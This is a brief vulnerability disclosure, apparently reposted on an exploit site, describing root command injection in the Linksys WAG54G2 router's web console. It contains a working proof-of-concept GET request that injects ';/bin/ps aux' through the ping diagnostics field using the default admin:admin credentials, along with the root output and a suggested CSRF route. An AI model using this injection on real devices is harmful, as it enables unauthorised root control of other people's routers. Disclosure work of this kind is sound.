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Linksys WAG54G2 Web Management Console Arbitrary Command Exec
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Linksys WAG54G2 Web Management Console Arbitrary Command Exec
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1. Linksys WAG54G2 router is a popular SOHO class device. It provides ADSL / WiFi / Ethernet interfaces.
2. When logged into web management console, it is possible to execute commands as root (tested on firmware: V1.00.10).
3. PoC:
GET /setup.cgi?ping_ipaddr1=1&ping_ipaddr2=1&ping_ipaddr3=1&ping_ipaddr4=1&ping_size=60&ping_number=1&ping_interval=1000&ping_timeout=5000&start=Start+Test&todo=ping_test&this_file=Diagnostics.htm&next_file=Diagnostics.htm&c4_ping_ipaddr=1.1.1.1;/bin/ps aux&message= HTTP/1.1
Host: 192.168.1.1
Authorization: Basic YWRtaW46YWRtaW4=
HTTP/1.0 200 OK
sh: cannot create 1: Unknown error 30
killall: pingmultilang: no process killed
killall: 2: no process killed
PID Uid VmSize Stat Command
1 root 284 S init
2 root SWN [ksoftirqd/0]
3 root SW< [events/0]
4 root SW< [khelper]
5 root SW< [kthread]
...
4. Note that it is needed to supply valid user/password (Authorization HTTP header).
5. One could try to exploit this issue remotely (using CRSF) assuming that a victim did not change default password to the web management.
6. The vendor (Cisco) was contacted in march '09 and confirmed the issue (but still it remains unpatched).
# 0day.today [2024-12-23] #